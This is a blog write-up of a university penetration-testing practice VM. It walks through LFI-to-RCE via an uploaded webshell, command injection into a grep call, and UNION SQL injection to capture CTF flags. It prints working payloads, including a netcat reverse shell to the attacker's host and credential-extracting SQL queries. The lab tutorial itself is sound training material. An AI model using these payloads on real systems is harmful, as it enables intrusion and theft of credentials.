> ## Content Index
> Fetch the complete content index at: https://niklas-heringer.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# Uni Exam Practice VM practice: more of LFI2RCE
- URL: https://niklas-heringer.com/penetration-testing/exam-prep-two/
- Published: 2025-07-15T15:52:00.000Z
- Updated: 2025-11-15T12:31:43.000Z
- Description: In this university exam practice VM, I explored file upload handling, discovered a separate file inclusion point, and chained it with an uploaded webshell to gain remote command execution.
- Author: Niklas Heringer
- Tags: exam-prep, lfi, file-inclusion, remote-code-execution, webshell, ctf, command-injection, penetration-testing

Today we'll cover the second test exam VM our professor provided us for his Penetration Testing class. The first one, aswell as all practice VMs, went pretty well, so i am **excited to see what'll be going on here**.

To better get to know the basics of the tunneling we'll be doing, look at [my previous text exam post](https://niklas-heringer.com/penetration-testing/exam-prep-one).

# Starting the exercise

```bash
ssh user@<REMOTE_IP>

```

Here we'll start with a netstat-check to see what services are running.

```bash
netstat -tulpn

```

> As a reminder, read through what the `-tulpn` flags mean.

- `-t` → TCP
- `-u` → UDP
- `-l` → listening ports only
- `-p` → show process name/PID
- `-n` → show numeric IPs and ports (no DNS resolution)

```bash
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:40497         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:80            0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:5355            0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.54:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8088          0.0.0.0:*               LISTEN      -

```

Let's port forward these services so we can see what's going on.

---

# Tunneling interesting ports

```bash
export RHOST=<REMOTE_IP>

export LOCAL=127.0.0.1

```

```bash
ssh -L 8888:$LOCAL:53 -L 8889:$LOCAL:8088 -L 8890:$LOCAL:80 user@$RHOST

```

> Whoops, my bad, still tired. 53 is DNS, we'll find nothing there haha - let's start with the other two:

![](https://storage.ghost.io/c/a1/92/a19235e1-df52-43a1-9f25-1151fdb92c82/content/images/2025/11/image-43.png)

![](https://storage.ghost.io/c/a1/92/a19235e1-df52-43a1-9f25-1151fdb92c82/content/images/2025/11/image-44.png)

> Let's enter the easy flag we've got and continue working through the other web app.

---

# Working through `/pastebin`

![](https://storage.ghost.io/c/a1/92/a19235e1-df52-43a1-9f25-1151fdb92c82/content/images/2025/11/image-45.png)

> Whoop whoop! Let's hop over to burp for this one!

```bash
touch test.pdf

```

We create a test file we can upload.

![](https://storage.ghost.io/c/a1/92/a19235e1-df52-43a1-9f25-1151fdb92c82/content/images/2025/11/image-46.png)

Great, we even get an output repo and path. Let's change this up a bit.

![](https://storage.ghost.io/c/a1/92/a19235e1-df52-43a1-9f25-1151fdb92c82/content/images/2025/11/image-47.png)

![](https://storage.ghost.io/c/a1/92/a19235e1-df52-43a1-9f25-1151fdb92c82/content/images/2025/11/image-48.png)

> Seems the content is just **put in AS-IS**. 

Nothing hints at PHP code being executed. *So what now?* 

Let's try to utilize another web app that might execute our crafted shells!

![](https://storage.ghost.io/c/a1/92/a19235e1-df52-43a1-9f25-1151fdb92c82/content/images/2025/11/image-49.png)

💡

 Uh uh uh.. a `GET` parameter, how convenient.

![](https://storage.ghost.io/c/a1/92/a19235e1-df52-43a1-9f25-1151fdb92c82/content/images/2025/11/image-50.png)

Payload:

```bash
http://127.0.0.1:8889/webring/?page=/var/www/html/pastebin/uploads/c64e1fb5e4b0084d.txt&0=getflag

```

Don't worry about that `GIF8` in front, it's a leftover from one of my tests.

---

# What File Inclusion really is

## Definition

> File inclusion is a vulnerability where a web application dynamically loads and executes (or displays) files based on user input, allowing attackers to **include arbitrary local or remote files**, often leading to **code execution** or **information disclosure**.

## What went wrong with ours

In our case, `/pastebin` **only created & stored static txt files**, while the key to utilizing our [webshell](https://niklas-heringer.com/penetration-testing/webshells-and-more-sqli/) was the file inclusion point in **this other web app** \- **classic LFI2RCE chain**.

---

# Working through `/textdb`

![](https://storage.ghost.io/c/a1/92/a19235e1-df52-43a1-9f25-1151fdb92c82/content/images/2025/11/image-51.png)

> Let's try simple auth bypass, shall we?

Our payload `admin' OR 1=1 -- -` didn't work, buut we can see the executed command:

```bash
<!-- grep -E -x 'admin' OR 1=1 -- -[[:space:]]+' plaintextcreds.txt 2>&1 -->2: Username or password wrong :(  
<!-- Error:  -->

```

The executed command is `grep -E -x '<input>' plaintextcreds.txt`, the input **ends up injected into a** `grep` command.

```bash
name=' ; ls /etc # &pass=&submit=Click me!

```

hmm, that now shows:

```bash
<!-- grep -E -x '' ; ls /etc # [[:space:]]+' plaintextcreds.txt 2>&1 -->Username and password valid :)

```

we can see it is a **silent Command Execution**.

## Silent Command Execution

> ...refers to a situation where a command is successfully executed on the server but its output is not displayed or returned to the attacker, making it appear as if nothing happened.

Try as a (URL-encoded) payload:

```bash
a'; sleep 5 #

```

> If that wouldn't have sufficed, add a `;` to try things out: `a'; sleep 5 ;#`

the request will take.. 5s longer lul. **We have command execution, we just don't have an output! It's silent, rememeber?**

> Let's go with a Reverse Shell. Our prof's environment is in docker:

### How to know you're in a Docker container

![](https://storage.ghost.io/c/a1/92/a19235e1-df52-43a1-9f25-1151fdb92c82/content/images/2025/11/image-52.png)

You see this weird `8101522c71c03` hostname when looking up `/etc/hostname` with `cat`? **A pretty clear sign you're in a Docker container.**

## Establishing our Reverse Shell

Luckily in our case, we have the command line of where we tunneled in:

```bash
user@hsma-tunnel:~$

```

in your exercise if it's not docker it will work [the regular way](https://niklas-heringer.com/penetration-testing/introduction-to-shells/).

> We get the IP via `ip -a | grep docker` \- **i should do a post on pipelines hm?**

```bash
user@hsma-tunnel:~$ nc -nlvp 4444  
listening on [any] 4444 ...

```

You know the drill, and the payload on the attacker side:

```bash
name=a'; nc 172.17.0.1 4444 -e /bin/bash #&pass=x&submit=Click me!

```

Nice, connected!

## Shell Stabilisation

Let's do it [like i taught you hehe](https://niklas-heringer.com/penetration-testing/introduction-to-shells/#quick-fix-upgrade-to-a-fully-interactive-tty): On the target:

```bash
python -c 'import pty; pty.spawn("/bin/bash")'

```

Then background the shell with CTRL+Z, and run:

```bash
stty raw -echo; fg

```

then hit enter to return to your target machine’s process.

```bash
export TERM=xterm

```

> That gives you tab completion, line editing, and often color support. It’s not perfect — but good enough for this.

Something with the docker env is broken so it doesn't work, but **do it anyways! Great exercise!**

---

# FINALLY: Finding Flags

```bash
pwd
# results in:
/var/www/html/textdb

```

Let's go one back and search for flags shall we? I know the format starts with an `HSMA` (my uni):

```bash
cd ..

grep -r HSMA*

test/index.php:  echo '<blink>HSMA_CTF_hidden_in_plain_sight_c6f81718</blink>';
textdb/plaintextcreds.txt:flag  HSMA_CTF_cred_exfil_a076434e
vault/index.php:          echo 'Well done, the flag is HSMA_CTF_read_the_sauce_b6dec7b3';

```

> Ups.. a bit more than we even wanted. **We now are only missing one flag.**

---

# Working through `/topnames`

![](https://storage.ghost.io/c/a1/92/a19235e1-df52-43a1-9f25-1151fdb92c82/content/images/2025/11/image-53.png)

![](https://storage.ghost.io/c/a1/92/a19235e1-df52-43a1-9f25-1151fdb92c82/content/images/2025/11/image-54.png)

It's **SQL Injection time**!

Let me hand you a small **SQL Enumeration Cheatsheet** we created with our professor.

## SQL Enumeration: Mini cheatsheet

```sql
-- enumerate DATABASES
SELECT schema_name FROM information_schema.schemata;

-- enumerate TABLE NAMES in our current DB
SELECT table_name FROM information_schema.tables WHERE table_schema = DATABASE();

-- alternatively enumerate TABLES in all DBs except default DBs
SELECT table_name FROM information_schema.tables WHERE table_schema NOT IN ('information_schema', 'mysql');

-- enumerate COLUMNs from a specific database for a specific table
SELECT COLUMN_NAME
FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_SCHEMA = 'database_name'
  AND TABLE_NAME = 'table_name';

-- some shorthands
SHOW TABLES IN information_schema;
SHOW COLUMNS IN information_schema.tables;
SHOW COLUMNS IN information_schema.columns;

```

> There is a `SELECT` going on in `/topnames`, so let's learn something new here!

## 2 ways to check if `UNION SELECT` will work

### 1\. The direct approach

Put in

```sql
0 UNION SELECT 1, 2, 3 -- and so on

```

> Add/ remove columns until the error message vanishes.

### 2\. Via `GROUP BY`

Put in

```sql
0 GROUP BY 1, 2, 3 -- and so on

```

> Same here: add/ remove columns until these `Unknown` errors vanish

## Finding our last flag

Now what we know there are two columns, we can do (looking at the above cheatsheet):

```sql
0 UNION SELECT 1, COLUMN_NAME from information_schema.columns where table_schema = database()

```

This reveals us all column names: `comment`, `pass`, `user`, `name`, `id`.

Now, i suspect `comment` may contain our flag - **we need to find out in which table this is.**

Again, **look at the cheatsheet:**

```sql
0 UNION SELECT 1, table_name from information_schema.tables where table_schema = database()

```

tells us there are `users` and `names`.

With this:

```sql
0 UNION SELECT 1, CONCAT(comment,pass,name) FROM users

```

> `concat()` **does work without quotation marks! Nice to know!**.

![](https://storage.ghost.io/c/a1/92/a19235e1-df52-43a1-9f25-1151fdb92c82/content/images/2025/11/image-55.png)

> Nice! **We've found all flags!** We did it guys hehe, nice work!

As a bonus, you should look at more `concat()` payloads, like:

```sql
CONCAT(first_name,'%0d%0a',last_name,'%0d%0a',password),2,3,4 FROM users--+-

```

maybe [here (just search for concat)](https://www.invicti.com/blog/web-security/sql-injection-cheat-sheet/?ref=niklas-heringer.com#StringConcat).

---

That's it for today. Stay safe, drink enough water.